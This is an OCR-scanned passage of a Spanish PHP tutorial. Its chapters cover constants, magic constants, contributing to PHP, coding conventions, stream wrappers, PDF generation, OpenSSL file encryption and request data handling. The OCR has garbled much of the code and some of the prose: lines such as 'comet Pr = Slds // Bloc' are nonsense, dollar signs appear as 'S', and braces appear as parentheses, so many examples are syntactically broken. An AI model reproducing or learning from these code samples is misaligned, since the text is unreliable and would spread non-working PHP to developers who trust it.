Output : 


array ( 
'HELLO' => 'hello', 
"WNORLD' => 'world', 
) 
“) 


A veces es útil para la depuración. 


Definiendo constantes 
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Las constantes se crean utilizando la sentencia const o la función define . La convención es usar 
letras MAYUSCULAS para nombres constantes. 


Definir constante utilizando valores 
explícitos. 


comet Pr = Slds // Bloc 


define ("EARTH_IS_FLAT", false); // boolean 

const "UNKNOWN" = null; // null 

define ("APP_ENV", "dev"); // string 

const MAX_SESSION_TIME = 60 * 60; // integer, using (scalar) expressions is ok 


const APP_LANGUAGES = ["de", "en"]; // arrays 


define ("BETTER_APP_LANGUAGES", ["lu", "de"]); // arrays 


Definir constante utilizando otra constante. 


Si tienes una constante puedes definir otra basada en ella: 


comete INAO) = 191 + 20 

define("EARTH_IS_ROUND", !EARTH_IS_FLAT); 

define ("MORE_UNKNOWN", UNKNOWN) ; 

define ("APP_ENV_UPPERCASE", strtoupper (APP_ENV)); // string manipulation is ok too 
// the abov xampl (la function call) does not work with const: 


V SOmso MMM = ese (0) + fails with a fatal error! Not a constant scalar expression 
define("MAX_ SESSION_TIME_IN_MINUTES", MAX _SESSION_TIME / 60); 


const APP_FUTURE_LANGUAGES = [-1 => "es"] + APP_LANGUAGES; // array manipulations 


define ("APP_BETTER_FUTURE_LANGUAGES", array_merge(["fr"], APP_BETTER_LANGUAGES)); 


Constantes reservadas 


Algunos nombres constantes están reservados por PHP y no pueden ser redefinidos. Todos estos 
ejemplos fallarán: 


define ("true", false); // internal constant 
define ("false", true); // internal constant 
define ("CURLOPT_AUTOREFERER", "something"); // will fail if curl extension is loaded 


Y se emitirá un Aviso: 


Constant ... already defined in ... 
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Condicional define 


Si tiene varios archivos donde puede definir la misma variable (por ejemplo, su configuración 
principal, su configuración local), la siguiente sintaxis puede ayudar a evitar conflictos: 


defined("PI") || define("PI", 3.1415); // "define PI if it's not yet defined" 


const VS define 


define es una expresión en tiempo de ejecución, mientras que cons: Un tiempo de compilación 
uno. 


Por lo tanto, define permite valores dinámicos (es decir, llamadas a funciones, variables, etc.) e 
incluso nombres dinámicos y definiciones condicionales. Sin embargo, siempre se está definiendo 
en relación con el espacio de nombres raíz. 


const es estática (como en permite solo operaciones con otras constantes, escalares o matrices, y 
solo un conjunto restringido de ellas, las denominadas expresiones escalares constantes , es 
decir, operadores aritméticos, lógicos y de comparación, así como la eliminación de referencias 
de matrices), pero son espacios de nombres automáticamente prefijado con el espacio de 
nombres actualmente activo. 


const SOlo admite otras constantes y escalares como valores y no operaciones. 
Constantes de clase 
Las constantes se pueden definir dentro de las clases usando una palabra clave const . 


class Foo ( 
SONS AREA O 


// reference from inside the class using self:: 
public function myMethod () ( 
return self: :BAR_TYPE 


se. 


) 
) 


// reference from outside the class using <ClassName>:: 
echo Foo: :BAR_TYPE; 


Esto es útil para almacenar tipos de artículos. 


<?php 


class Logger ( 
const LEVEL_INFO = 1; 
const LEVEL WARNING = 
const LEVEL_ERROR = 3; 


2; 
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// we can even assign the constant as a default value 
public function log($message, $level = self: :LEVEL_INFO) ( 
cho "Message level " . $level . ": " . Smessage; 


) 
) 


$logger = new Logger (); 

$logger->log ("Info"); // Using default value 

$logger->log ("Warning", $logger::LEVEL_WARNING); // Using var 
( 


$Slogger->log ("Error", Logger::LEVEL_ ERROR); // using class 


Matrices constantes 


Las matrices se pueden usar como constantes simples y constantes de clase desde la versión 
PHP 5.6 en adelante: 


Ejemplo de clase constante 


class Answer ( 
comes € = [M,41$ 


print Answer::C[1] . Answer: :C[0]; // 42 


Ejemplo de constante llana 


const ANSWER = [2,4]; 
print ANSWER[1] . ANSWER[O]; // 42 


También desde la versión PHP 7.0 esta funcionalidad fue portada a la función de «e+:ne para 
constantes simples. 


define('VALUES', [2, 31); 


define('MY_ARRAY', [ 
1, 
VALUES, 


D; 


print MY_ARRAY[1][1]; // 3 


Usando constantes 


Para usar la constante simplemente usa su nombre: 


if (EARTH_IS_ FLAT) ( 
rim iesceda le Ele 


print APP_ENV_UPPERCASE; 
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O si no conoce el nombre de la constante de antemano, use la función constant : 


// this code is equivalent to the above code 
$constl = "EARTH_IS_ELAT"; 
$const2 = "APP_ENV_UPPERCASE"; 


if (constan 
rca Y 


) 


Ecos) 
cuca dle Ela"; 


print constant ($const2); 


Lea Constantes en línea: https://riptutorial.com/es/php/topic/1688/constantes 
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Capítulo 24: Constantes mágicas 


Observaciones 


Las constantes mágicas se distinguen por su forma __consTANTNAME 


Actualmente hay ocho constantes mágicas que cambian dependiendo de dónde se usan. Por 
ejemplo, el valor de _ 11sz__ depende de la línea que se usa en su script. 


Estas constantes especiales no distinguen entre mayúsculas y minúsculas y son las siguientes: 


LINE El número de línea actual del archivo. 


La ruta completa y el nombre del archivo con los enlaces simbólicos 
FILE resueltos. Si se utiliza dentro de una inclusión, se devuelve el nombre del 
archivo incluido. 


El directorio del archivo. Si se utiliza dentro de una inclusión, se devuelve el 
directorio del archivo incluido. Esto es equivalente a dirname(_riLE_) . Este 
nombre de directorio no tiene una barra inclinada a menos que sea el 
directorio raíz. 


DER 


_ FUNCTION. El nombre de la función actual 


El nombre de la clase. El nombre de la clase incluye el espacio de nombres 
AS a en el que se declaró (por ejemplo, roo1Bax ). Cuando se usa en un método de 
rasgo, _crass__ es el nombre de la clase en que se usa el rasgo. 


El nombre del rasgo. El nombre del rasgo incluye el espacio de nombres en 


_ TRAIT__ , ; 
el que se declaró (por ejemplo, roo1Bar ). 


METHOD El nombre del método de clase. 


—NAMESPACE__. El nombre del espacio de nombres actual. 


El caso de uso más común para estas constantes es la depuración y el registro. 


Examples 


Diferencia entre__ FUNCTION y _ METHOD __ 


__Fuxcrion__ devuelve solo el nombre de la función, mientras que _ merhop__ devuelve el nombre 
de la clase junto con el nombre de la función: 
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<?php 
class Exlele 
( 


¡ulsllale Ewimeraoja elote (0) 


echo FUNCITON —: 


public function doitagain() 


echo __METHOD__; 


) 
Sobj = new trick(); 


Solo=>elomhie () 9 // Oiiegtiess elenle 
$obj->doitagain();  // Outputs: trick: :doitagain 


Diferencia entre __ CLASS _, get_class () y get_called_class () 


__crass__ magic constant devuelve el mismo resultado que la función get_c1ass () llamada sin 
parámetros y ambas devuelven el nombre de la clase donde se definió (es decir, donde escribió la 
función llamada / nombre constante). 


Por el contrario, laS get_class ($this) Y get_called_class () llaman, devolverán el nombre de la 
clase real de la que se creó una instancia: 

<?php 

class Definition Class ( 


public function say()( 


calas Y CLASS —. values “, -—CRASS —.. Mm" 

cano "see calle class() values Y. ce sculles. class () . "al 
echo 'get_class($this) value: ' . get_class(S$this) . "An"; 
cano "“ser_elsss() values Y, qee _cless() . "ya" 


class Actual_Class extends Definition Class ([) 


$c = new Actual_Class(); 

$c->say (); 

// Output: 

II CASE values Detimicion Class 

// get_called_class() value: Actual_Class 
// get_class($this) value: Actual_Class 
// get_class() value: Definition Class 


Constantes de archivo y directorio 


Archivo actual 
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Puede obtener el nombre del archivo PHP actual (con la ruta absoluta) utilizando la constante 
mágica _riiE__ . Esto se utiliza más a menudo como una técnica de registro / depuración. 


caos "We sze día das files" , FILE UNES 


Directorio actual 


Para obtener la ruta absoluta al directorio donde se encuentra el archivo actual, use la constante 
mágica _nIr_ 


celo "Owe seso de logsress! da Tae" , — DER y yal) 


Para obtener la ruta absoluta al directorio donde se encuentra el archivo actual, use 


dirname(__FILE_). 


celo "Oui semi ls dloceiess! ida mass" y clics (Ja) y Wat 


Obtener el directorio actual a menudo es usado por marcos de PHP para establecer un directorio 
base: 


// index.php of the framework 


define(BASEDIR, _DIR__); // using magic constant to define normal constant 


// somefile.php looks for views: 


Sview = 'page'; 
SvilewFile = BASEDIR . '/views/' . $view; 


Separadores 


El sistema de Windows entiende perfectamente las rutas / in, de modo que 
DIRECTORY_SEPARATOR Se Usa principalmente al analizar rutas. 


Además de las constantes mágicas, PHP también agrega algunas constantes fijas para trabajar 
con rutas: 


+ Constante pirecToRY_SEPARATOR para separar directorios en una ruta. Toma valor / en * nix, y 
ven Windows. El ejemplo con vistas se puede reescribir con: 


Sview = 'page'; 
SviewFile = BASEDIR . DIRECTORY_SEPARATOR .'views' . DIRECTORY _SEPARATOR . $view; 


+ Rara vez se utiliza la constante parkh_separaror para separar las rutas en la spark entorno 
spark . Es ; en Windows, : de otro modo 
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Lea Constantes mágicas en línea: https://riptutorial.com/es/php/topic/1428/constantes-magicas 
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Capítulo 25: Contribuyendo al Manual de PHP 


Introducción 


El Manual de PHP proporciona una referencia funcional y una referencia de idioma junto con 
explicaciones de las principales funciones de PHP. El Manual de PHP, a diferencia de la 
documentación de muchos idiomas, alienta a los desarrolladores de PHP a que agreguen sus 
propios ejemplos y notas a cada página de la documentación. Este tema explica la contribución al 
manual de PHP, junto con consejos, trucos y pautas para las mejores prácticas. 


Observaciones 


Las contribuciones a este tema deben describir principalmente el proceso alrededor de la 
contribución al Manual de PHP, p. Ej., Explicar cómo agregar páginas, cómo enviarlas para su 
revisión, buscar áreas para contribuir con contenido, etc. 


Examples 


Mejorar la documentación oficial. 


PHP ya tiene una gran documentación oficial en http://php.net/manual/ . El Manual de PHP 
documenta prácticamente todas las características de idioma, las bibliotecas principales y las 
extensiones más disponibles. Hay muchos ejemplos para aprender. El Manual de PHP está 
disponible en múltiples idiomas y formatos. 


Lo mejor de todo, la documentación es gratuita para que cualquiera pueda editarla . 


El equipo de documentación de PHP proporciona un editor en línea para el Manual de PHP en 
https://edit.php.net . Admite múltiples servicios de inicio de sesión único, incluido el inicio de 
sesión con su cuenta de desbordamiento de pila. Puede encontrar una introducción al editor en 
https://wiki.php.net/doc/editor . 


Los cambios en el Manual de PHP deben ser aprobados por personas del Equipo de 
Documentación de PHP que tenga Doc Karma . Doc Karma es algo así como reputación, pero 
más difícil de conseguir. Este proceso de revisión por pares se asegura de que solo la 
información correcta y objetiva entre en el Manual de PHP. 


El Manual de PHP está escrito en DocBook, que es un lenguaje de marcado fácil de aprender 
para crear libros. Puede parecer un poco complicado a primera vista, pero hay plantillas para 
comenzar. Ciertamente no es necesario ser un experto en DocBook para contribuir. 


Consejos para contribuir al manual. 


La siguiente es una lista de consejos para aquellos que desean contribuir al manual de PHP: 
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+ Siga las pautas de estilo del manual . Asegúrese de que las pautas de estilo del manual 
siempre se sigan por razones de coherencia. 

» Realizar correcciones ortográficas y gramaticales . Asegúrese de que se esté utilizando 
la ortografía y la gramática adecuadas; de lo contrario, la información presentada puede ser 
más difícil de asimilar y el contenido se verá menos profesional. 

+ Ser terso en las explicaciones . Evite divagaciones para presentar de manera clara y 
concisa la información a los desarrolladores que buscan una referencia rápida. 

» Código separado de su salida . Esto proporciona ejemplos de código más limpios y menos 
complejos para que los desarrolladores puedan digerirlos. 

» Compruebe el orden de la sección de la página . Asegúrese de que todas las secciones 
de la página del manual que se está editando estén en el orden correcto. La uniformidad en 
el manual hace que sea más fácil leer y buscar información rápidamente. 

+ Quitar contenido relacionado con PHP 4. Las menciones específicas a PHP 4 ya no son 
relevantes, dada la antigúedad que tiene. Las menciones del mismo deben eliminarse del 
manual para evitar que se convulsione con información innecesaria. 

+ Versión correcta de los archivos . Al crear nuevos archivos en la documentación, 
asegúrese de que el |D de revisión del archivo esté configurado en nada, así: <:-- 
SRevision$ -->. 

+ Fusionar comentarios útiles en el manual . Algunos comentarios aportan información útil 
que el manual podría beneficiarse de tener. Estos deben ser combinados en el contenido de 
la página principal. 

» No rompas la compilación de documentación . Asegúrese siempre de que el manual de 
PHP se compile correctamente antes de confirmar los cambios. 


Lea Contribuyendo al Manual de PHP en línea: 
https://riptutorial.com/es/php/topic/2003/contribuyendo-al-manual-de-php 
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Capítulo 26: Contribuyendo al PHP Core 


Observaciones 


PHP es un proyecto de código abierto, y como tal, cualquiera puede contribuir a él. En términos 
generales, hay dos formas de contribuir al núcleo de PHP: 


e Corrección de errores 
e Adiciones de características 


Sin embargo, antes de contribuir, es importante comprender cómo se administran y liberan las 
versiones de PHP para que las correcciones de errores y las solicitudes de funciones puedan 
apuntar a la versión de PHP correcta. Los cambios desarrollados pueden enviarse como una 
solicitud de extracción al repositorio de PHP Github . Puede encontrar información útil para los 
desarrolladores en la sección "Involúcrese" del sitio PHP.net y el foro +texternals . 


Contribuyendo con la corrección de errores 


Para aquellos que buscan comenzar a contribuir con el núcleo, generalmente es más fácil 
comenzar con la corrección de errores. Esto ayuda a familiarizarse con los elementos internos de 
PHP antes de intentar realizar modificaciones más complejas al núcleo que una característica 
requeriría. 


Con respecto al proceso de administración de versiones, las correcciones de errores deben 
apuntar a las más afectadas, mientras que aún se admite la versión de PHP. Es esta versión a la 
que deben dirigirse las solicitudes de corrección de errores. Desde allí, un miembro interno puede 
combinar el arreglo en la rama correcta y luego combinarlo hacia arriba para obtener las 
versiones posteriores de PHP según sea necesario. 


Para aquellos que buscan comenzar a resolver errores, puede encontrar una lista de informes de 
errores en bugs.php.net . 


Contribuyendo con adiciones de características 


PHP sigue un proceso RFC cuando introduce nuevas funciones y realiza cambios importantes en 
el idioma. Los RFC son votados por miembros de php.net y deben alcanzar una mayoría simple 
(50% + 1) o una mayoría absoluta (2/3 + 1) del total de votos. Se requiere una mayoría absoluta si 
el cambio afecta al lenguaje en sí (como introducir una nueva sintaxis), de lo contrario solo se 
requiere una mayoría simple. 


Antes de poder someter a votación las RFC, deben someterse a un período de discusión de al 
menos 2 semanas en la lista de correo oficial de PHP. Una vez que este período ha finalizado, y 
no hay problemas abiertos con el RFC, se puede mover a votación, que debe durar al menos 1 
semana. 
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Si un usuario desea revivir un RFC rechazado anteriormente, puede hacerlo solo en una de las 
siguientes dos circunstancias: 


+ Han pasado 6 meses desde la votación anterior. 
* El (los) autor (es) hacen cambios sustanciales en el RFC que probablemente afectarían el 
resultado de la votación en caso de que se vuelva a votar el RFC. 


Las personas que tienen el privilegio de votar serán contribuyentes a PHP en sí (y por lo tanto 
tienen cuentas de php.net), o serán representantes de la comunidad de PHP. Estos 
representantes son elegidos por aquellos con cuentas de php.net y serán desarrolladores líderes 
de proyectos basados en PHP o participantes regulares para discusiones internas. 


Al enviar nuevas ideas para una propuesta, casi siempre se requiere que el proponente escriba, 
como mínimo, un parche de prueba de concepto. Esto se debe a que sin una implementación, la 
sugerencia simplemente se convierte en otra solicitud de función que probablemente no se 
cumpla en un futuro cercano. 


Puede encontrar una guía detallada de este proceso en la página oficial de Cómo crear un REC. 


Lanzamientos 


Las versiones principales de PHP no tienen un ciclo de lanzamiento establecido, por lo que 
pueden ser lanzadas a discreción del equipo interno (cuando lo consideren adecuado para un 
nuevo lanzamiento importante). Las versiones menores, por otro lado, se lanzan anualmente. 


Antes de cada lanzamiento en PHP (mayor, menor o parche), una serie de candidatos de 
lanzamiento (RC) están disponibles. PHP no usa un RC como lo hacen otros proyectos (es decir, 
si un RC no tiene problemas para encontrarlo, entonces es el próximo lanzamiento final). En su 
lugar, los utiliza como una forma de betas finales, donde normalmente se decide un número 
determinado de RC antes de que se realice el lanzamiento final. 


Versiones 


PHP generalmente intenta seguir versiones semánticas siempre que sea posible. Como tal, la 
compatibilidad con versiones anteriores (BC) debe mantenerse en versiones secundarias y de 
parches del idioma. Las características y los cambios que conservan BC deben dirigirse a 
versiones menores (no a versiones de parches). Si una característica o cambio tiene el potencial 
de romper BC, entonces deberían apuntar a la siguiente versión importante de PHP (X .yz). 


Cada versión menor de PHP (x. Y .z) tiene dos años de soporte general (denominado "soporte 
activo”) para todos los tipos de correcciones de errores. Se agrega un año adicional a eso para 
soporte de seguridad, donde solo se aplican correcciones relacionadas con la seguridad. 
Después de los tres años, el soporte para esa versión de PHP se elimina por completo. Puede 
encontrar una lista de las versiones de PHP actualmente soportadas en php.net . 


Examples 
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Configuración de un entorno de desarrollo básico. 


El código fuente de PHP está alojado en GitHub . Para compilar desde la fuente, primero deberá 
retirar una copia de trabajo del código. 


mkdir /usr/local/srec/php=7.0/ 
cd /usr/local/src/php-7.0/ 
git elone bh PAB=700 htteps://gthub.com/php/paeosre 


Si desea agregar una función, es mejor crear su propia sucursal. 


git checkout -b my_private_branch 


Finalmente, configura y construye PHP 


./buildconf£ 
./configure 
make 

make test 
make install 


Si la configuración falla debido a la falta de dependencias, deberá usar el sistema de 
administración de paquetes de su sistema operativo para instalarlos (por ejemplo, yum , apt , etc.) 
o descargarlos y compilarlos desde la fuente. 


Lea Contribuyendo al PHP Core en línea: https://riptutorial.com/es/php/topic/3929/contribuyendo- 
al-php-core 
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Capítulo 27: Convenciones de codificación 


Examples 


Etiquetas PHP 


Siempre debe usar etiquetas <?php >> O etiquetas de eco corto <>= >>. No se deben usar otras 
variaciones (en particular, etiquetas cortas <> >> ), Ya que los administradores del sistema 
generalmente las deshabilitan. 


Cuando no se espera que un archivo produzca una salida (¿todo el archivo es código PHP), se 
debe omitir la sintaxis >> Para evitar una salida no intencional, lo que puede causar problemas 
cuando un cliente analiza el documento, en particular, algunos navegadores no reconocen el 
<!DOCTYPE Y active el modo Quirks . 


Ejemplo de un script PHP simple: 


<?php 


print "Hello World"; 


Ejemplo de archivo de definición de clase: 


<?php 


class Foo 


( 


) 
Ejemplo de PHP incrustado en HTML: 


<ul id="nav"> 
<?php foreach ($navltems as $navltem): ?> 
<li><a href="<?= htmlspecialchars ($navltem->url) ?2>"> 
<?= htmlspecialchars ($navItem->label) ?> 
<(a></li> 
<?php endforeach; ?> 
</ul> 


Lea Convenciones de codificación en línea: 
https://riptutorial.com/es/php/topic/3977/convenciones-de-codificacion 
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Capítulo 28: Corrientes 


Sintaxis 


+ Cada flujo tiene un esquema y un objetivo: 
* <esquema>: // <objetivo> 


Parámetros 


Nombre del E 
, Descripción 
parámetro 


El proveedor de datos que consiste en la sintaxis 


<scheme>://<target> 


Recurso de la corriente 


Observaciones 


Las transmisiones son esencialmente una transferencia de datos entre un origen y un destino, 
parafraseando a Josh Lockhart en su libro Modern PHP. 


El origen y el destino pueden ser 


* un archivo 

* un proceso de línea de comando 
* una conexión de red 

* un archivo ZIP o TAR 

* memoria temporal 

+ entrada / salida estándar 


o cualquier otro recurso disponible a través de envolturas de flujo de PHP . 
Ejemplos de envolturas de flujo disponibles ( schenmes ): 


* file: // - Accediendo al sistema de archivos local 

* http: // - Accediendo a las URL de HTTP (s) 

* ftp: // - Acceso a las URL de FTP (s) 

* php: // - Accediendo a varias secuencias de E / S 
* phar: // - PHP Archive 

e ssh2: // - Secure Shell 2 

* 099: // - Transmisiones de audio 


El esquema (origen) es el identificador de la envoltura del flujo. Por ejemplo, para el sistema de 
archivos, esto es ri1e:// . El destino es el origen de datos del flujo, por ejemplo, el nombre del 
archivo. 
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Examples 


Registro de una envoltura de flujo 


Una envoltura de flujo proporciona un controlador para uno o más esquemas específicos. 


El siguiente ejemplo muestra un contenedor de flujo simple que envía solicitudes HTTP parcn 
cuando se cierra el flujo. 


// register the FooWrapper class as a wrapper for foo:// URLs. 
stream_wrapper_register ("foo", FooWrapper::class, STREAM_IS_URL) or die("Duplicate stream 


wrapper registered"); 


class FooWrapper ( 
// this will be modified by PHP to show the context passed in the current call. 


public context; 


// this is used in this example internally to store the URL 
private Surl; 


// when fopen() with a protocol for this wrapper is called, this method can be implemented 


to store data like the host. 


public function stream_open(string $path, string $mode, int Sfoptions, string «SopenedPath) 


bool ( 
Surl = parse_url ($path); 
1f($url === false) return false; 
Sclaals=>uisl = Sul [Maosed] . YY, Sul [Moa], 


return true; 


// handles calls to fwrite() on this stream 
public function stream_write (string $data) : int ( 
Sthis->buffer .= $data; 


return strlen($data); 


// handles calls to fclose() on this stream 
public function stream_close() ( 
Senmzl = euzcl_ init (Mieess//0 . Gunale=>0z1), 
curl_setopt ($curl, CURLOPT_POSTFIELDS, S$this->buffer); 
curl_setopt ($curl, CURLOPT_CUSTOMREQUEST, "PATCH"); 
curllcexee ($curl); 


curl_close ($curl); 
Sclals Aute = "De 


// fallback exception handler if an unsupported operation is attempted. 
// this is not necessary. 
¡ablgllale uacicaioa — call (Saca, Samos) 

throw new ARuntimeException("This wrapper does not support $name"); 


// this is called when unlink("foo://something-else") is called. 
public function unlink (string $path) ( 
Surl = parse_url ($path); 
Seurzl == cuidl_iaae (Mascos JO y Bu [Maos EY] . YY. Sua rara) 
curl_setopt ($curl, CURLOPT_CUSTOMREQUEST, "DELETE"); 
curl_exec($curl); 
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curl_close ($curl); 


Este ejemplo solo muestra algunos ejemplos de lo que contendría un contenedor de flujo 
genérico. Estos no son todos los métodos disponibles. Puede encontrar una lista completa de los 
métodos que se pueden implementar en http://php.net/streamWrapper . 


Lea Corrientes en línea: https://riptutorial.com/es/php/topic/5725/corrientes 
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Capítulo 29: Crea archivos PDF en PHP 


Examples 


Empezando con PDFlib 
Este código requiere que use la biblioteca PDFlib para que funcione correctamente. 


<?php 
Spdf = pdf£_new(); //initialize new object 


pdf_begin_document ($pdf); //create new blank PDF 


pdf_set_info($pdf, "Author", "John Doe"); //Set info about your PDF 
¡Sel set mito (Soliz, "Miele, Micllorfor lec) + 
pdf_begin_page ($pdf, (72 * 8.5), (72 * 11)); //specify page width and height 
Sfont = pd£ findfont (Spaf, "Times=Roman", "host", 0) //load a font 


ula sertome (Socie, Siome, 416) //S86%e ae tome 
pdf_set_text_pos ($pdf, 50, 700); //assign text position 
pdf_show($pdf, "Hello_World!"); //print text to assigned position 
pdf_end_page ($pdf); //end the page 
pdf_end_document ($pdf); //close the object 


Sdocument = pdf_get_buffer ($pdf); //retrieve contents from buffer 


Slength = strlen ($document); $filename = "HelloWorld.pdaf"; //Finds PDF length and assigns file 
name 


header ("Content-Type:application/padf"); 
header ("Content-Length:" . $length); 
header ("Content-Disposition:inline; filename=" . Sfilename); 


echo ($document); //Send document to browser 
unset ($document); pdf _delete ($pdf); //Clear Memory 
> 


Lea Crea archivos PDF en PHP en línea: https://riptutorial.com/es/php/topic/4955/crea-archivos- 
pdf-en-php 
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Capítulo 30: Criptografía 


Observaciones 


/* Base64 Encoded Encryption / fenc_data = base64_encode( openssl_encrypt ($data, method, 


Spassword, true, %$iv) ); / Decode and Decrypt */ $dec_data = base64_decode ( 
openssl_decrypt ($enc_data, $method, $password, true, S$iv) ); 


Esta forma de hacer el cifrado y la codificación no funcionaría tal como se presenta a medida que 
descifra el código antes de descodificar la base 64. 


Necesitarías hacer esto en el orden opuesto. 


/ This way instead / $enc_data=base64_encode (openssl_encrypt ($data, $method, $pass, true, $iv)); 
Sdec_data=openssl_decrypt (base64_decode ($enc_data), $method, $pass, true, Silv); 


Examples 


Cifrado simétrico 
Este ejemplo ilustra el cifrado simétrico AES 256 en modo CBC. Se necesita un vector de 


inicialización, así que generamos uno usando una función openssl. La variable sstrong se usa 
para determinar si la IV generada fue criptográficamente fuerte. 


Cifrado 


$method = "aes-256-cbc"; // cipher method 
Siv_length = openssl_cipher_iv_length($method); // obtain required IV length 


Sstrong = false; // set to false for next lin 
Siv = openssl_random_pseudo_bytes($iv_length, $strong); // generate initialization vector 


/* NOTE: The IV needs to be retrieved later, so store it in a database. 
However, do not reuse the same IV to encrypt the data again. */ 


estro g) (1 // TEhrow exception me the Vs nor crypteographicallly Strong 


throw new Exception("IV not cryptographically strong!"); 


) 


Sdata = "This is a message to be secured."; // Our secret message 


Spass = "Stack0verfl10w"; // Our password 


/* NOTE: Password should be submitted through POST over an HTTPS session. 
Here, 1t's being stored in a variable for demonstration purposes. */ 


Senc_data = openssl_encrypt ($data, $method, $password, true, $iv); // Encrypt 


Descifrado 


https://riptutorial.com/es/nome 137 


/* Retrieve the IV from the database and the password from a POST request */ 
Sdec_data = openssl_decrypt ($enc_data, $method, $pass, true, $iv); // Decrypt 


Base64 Codifica y Decodifica 


Si los datos cifrados deben enviarse o almacenarse en texto imprimible, las funciones 
base64_encode () Y base64_decode () deben usar respectivamente. 


/* Base64 Encoded Encryption */ 
Senc_data = base64_encode (openssl_encrypt ($data, $method, S$password, true, $iv)); 


/* Decode and Decrypt */ 
$dec_data = openssl_decrypt (base64_decode ($enc_data), $method, $password, true, $iv); 


Cifrado y descifrado simétricos de archivos grandes con OpenSSL 


PHP carece de una función incorporada para cifrar y descifrar archivos grandes. openss1_encrypt 
se puede usar para cifrar cadenas, pero cargar un archivo enorme en la memoria es una mala 
idea. 


Así que tenemos que escribir una función de usuario haciendo eso. Este ejemplo utiliza el 
algoritmo simétrico AES-128-CBC para cifrar fragmentos más pequeños de un archivo grande y 
los escribe en otro archivo. 


Cifrar archivos 


J** 

* Define the number of blocks that should be read from the source file for each chunk. 
s Tor “AiS=128=d30" caca lollerele comsilst a 16 JIONites. 

* So if we read 10,000 blocks we load 160kb into memory. You may adjust this value 


* to read/write shorter or longer chunks. 
de 
define('FILE_ENCRYPTION_BLOCKS', 10000); 


* Encrypt the passed file and saves the result in a new file with ".enc" as suffix. 


* (param string $source Path to file that should be encrypted 
* (param string $key The key used for the encryption 


* (param string $dest File name where th ncryped file should be written to. 


* (return string|false Returns the file name that has been created or FALSE if an error 
occured 
sy) 
function encryptFile ($source, $key, $dest) 
[ 
Skey = substr (shal ($key, true), 0, 16); 
Siv = openssl_random_pseudo_bytes(16); 


Serror = false; 

1f ($fpO0ut = fopen($dest, 'w')) ( 
// Put the initialzation vector to the beginning of the file 
fwrite($fpOut, Siv); 
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if ($fpIn = fopen($source, 'rb')) ( 
while (!feof ($fpIn)) ( 
Splaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS); 
Sciphertext = openssl_encrypt ($plaintext, 'AES-128-CBC', $key, 
OPENSSL_RAW_DATA, Siv); 

// Use the first 16 bytes of the ciphertext as the next initialization vector 
Siv = substr ($ciphertext, 0, 16); 
fwrite($fpOut, S$ciphertext); 


) 

telose (Sitolia) 
) else ( 

Serio = inte), 
) 
seloss (Su Ote) - 


) else ( 
Serror = true; 
) 
Grua Sergi Y Ealse $ Fees, 


Descifrar archivos 


Para descifrar los archivos que se han cifrado con la función anterior, puede utilizar esta función. 


pk 
* Dencrypt the passed file and saves the result in a new file, removing the 
* last 4 characters from file name. 


* (param string $source Path to file that should be decrypted 
* (param string $key The key used for the decryption (must be the same as for encryption) 


* (param string $dest File name where the decryped file should be written to. 


E 


* (f(return string|lfalse Returns the file name that has been created or FALSE if an error 


occured 
y) 
function decryptFile ($source, $key, $dest) 
( 
Skey = substr (shal ($key, true), 0, 16); 


Semiorz = iellsep 
if (SfpOut = fopen($dest, 'w')) ( 
dae (Eágollía = moja (Sectas, idol) A 


// Get the initialzation vector from the beginning of the file 
Say => masa (Eiasia, 1) 
while (!feof ($fpIn)) ( 
Sciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // we have to 
read one block more for decrypting than for encrypting 
Splaintext = openssl_decrypt ($ciphertext, 'AES-128-CBC', $key, 
OPENSSL_RAW_DATA, Siv); 
// Use the first 16 bytes of the ciphertext as the next initialization vector 
Siv = substr ($ciphertext, 0, 16); 
fwrite($fpOut, $plaintext); 


) 

fclose ($fpIn); 
) else ( 

SENOR = Line, 
) 
fclose ($fpOut) ; 
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) else ( 
Serror = true; 


) 


return Serror ? false : S$dest; 


Cómo utilizar 


Si necesita un pequeño fragmento de código para ver cómo funciona esto o para probar las 


funciones anteriores, consulte el siguiente código. 


SfileName = __DIR__.'/testfile.txt'; 


Skey = 'my secret key'; 
file _put_contents($fileName, 'Hello World, here I am.'); 
encryptFile($fileName, $key, $fileName . '.enc'); 


decryptFile($fileName . '.enc', $key, $fileName . '.dec'); 


Esto creará tres archivos: 


1. testfile.txt con el texto plano 

2. testfile.txt.enc con el archivo encriptado 

3. testfile.txt.dec con el archivo descifrado. Esto debería tener el mismo contenido que 
testfile.txt 


Lea Criptografía en línea: https://riptutorial.com/es/php/topic/5794/criptografia 
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Capítulo 31: Datos de solicitud de lectura 


Observaciones 


Elegir entre GET y POST 


Las solicitudes GET son las mejores para proporcionar los datos necesarios para representar la 
página y se pueden usar varias veces (consultas de búsqueda, filtros de datos ...). Son parte de la 
URL, lo que significa que se pueden marcar como favoritos y, a menudo, se reutilizan. 


Las solicitudes POST, por otro lado, están destinadas a enviar datos al servidor solo una vez 
(formularios de contacto, formularios de inicio de sesión ...). A diferencia de GET, que solo acepta 
ASCII, las solicitudes POST también permiten datos binarios, incluidas las cargas de archivos . 


Puedes encontrar una explicación más detallada de sus diferencias aquí . 


Solicitar vulnerabilidades de datos 


También mire: ¿cuáles son las vulnerabilidades en el uso directo de GET y POST? 


La recuperación de datos de las superglobales $ _GET y $ _POST sin ninguna validación se 
considera una mala práctica, y abre métodos para que los usuarios puedan acceder o 
comprometer datos a través de inyecciones de código y /o SQL . Los datos no válidos deben ser 
revisados y rechazados para prevenir tales ataques. 


Los datos de solicitud deben escaparse dependiendo de cómo se usa en el código, como se 
indica aguí y aquí . En esta respuesta se pueden encontrar algunas funciones de escape 
diferentes para casos comunes de uso de datos. 


Examples 


Manejo de errores de carga de archivos 


El 5_rILES["FILE_NAME"] ['error'] (donde "FILE Name" es el valor del atributo de nombre de la 
entrada del archivo, presente en su formulario) puede contener uno de los siguientes valores: 


—h. 
[a 


PLOAD_ERR_OK - No hay error, el archivo se cargó con éxito. 

2. UPLOAD_ERR_INI_sIZE : el archivo cargado excede la directiva upload_max_filesize en pro. ini . 
PLOAD_ERR_PARTIAL : el archivo cargado supera la directiva MAX_FILE_SIZE que se 
especificó en el formulario HTML. 

OAD_ERR_NO_FILE : NO Se ha cargado ningún archivo. 

.OAD_ERR_NO_TMP_DIR - Falta una carpeta temporal. (Desde PHP 5.0.3). 

'OAD_ERR_CANT_WRITE - Error al escribir el archivo en el disco. (Desde PHP 5.1.0). 
.OAD_ERR_EXTENSION - Una extensión de PHP detuvo la carga del archivo. (Desde PHP 


5 
C 


ADN 
C 


P 
P 
P. 
P 
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Una forma básica de verificar los errores, es la siguiente: 


<?php 
